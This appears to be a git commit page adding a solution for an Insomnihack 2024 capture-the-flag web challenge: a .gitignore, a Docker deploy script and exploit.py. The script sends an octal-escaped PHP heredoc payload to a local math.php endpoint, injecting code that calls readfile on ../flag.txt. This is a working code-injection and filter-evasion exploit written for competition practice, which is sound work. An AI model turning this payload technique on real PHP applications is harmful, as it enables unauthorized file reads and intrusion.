polished exploits
This commit is contained in:
7
insomnihack24/web/mathematical/.gitignore
vendored
Normal file
7
insomnihack24/web/mathematical/.gitignore
vendored
Normal file
@@ -0,0 +1,7 @@
|
||||
php/
|
||||
www/
|
||||
docker-compose.yml
|
||||
.venv/
|
||||
flag.txt
|
||||
Dockerfile
|
||||
|
||||
3
insomnihack24/web/mathematical/deploy-docker.sh
Executable file
3
insomnihack24/web/mathematical/deploy-docker.sh
Executable file
@@ -0,0 +1,3 @@
|
||||
docker-compose rm
|
||||
docker-compose up -d
|
||||
docker rmi php_web -f
|
||||
21
insomnihack24/web/mathematical/exploit.py
Normal file
21
insomnihack24/web/mathematical/exploit.py
Normal file
@@ -0,0 +1,21 @@
|
||||
#! /usr/bin/env python3
|
||||
|
||||
import requests
|
||||
|
||||
s = requests.Session()
|
||||
|
||||
payload = """(<<<abs
|
||||
\\162\\145\\141\\144\\146\\151\\154\\145
|
||||
abs)(<<<abs
|
||||
\\56\\56\\57\\146\\154\\141\\147\\56\\164\\170\\164
|
||||
abs)"""
|
||||
|
||||
res = s.post(
|
||||
"http://localhost/math.php",
|
||||
data={"expression": payload},
|
||||
headers={"Content-Type": "application/x-www-form-urlencoded"},
|
||||
)
|
||||
|
||||
|
||||
print(res.text)
|
||||
|
||||
Reference in New Issue
Block a user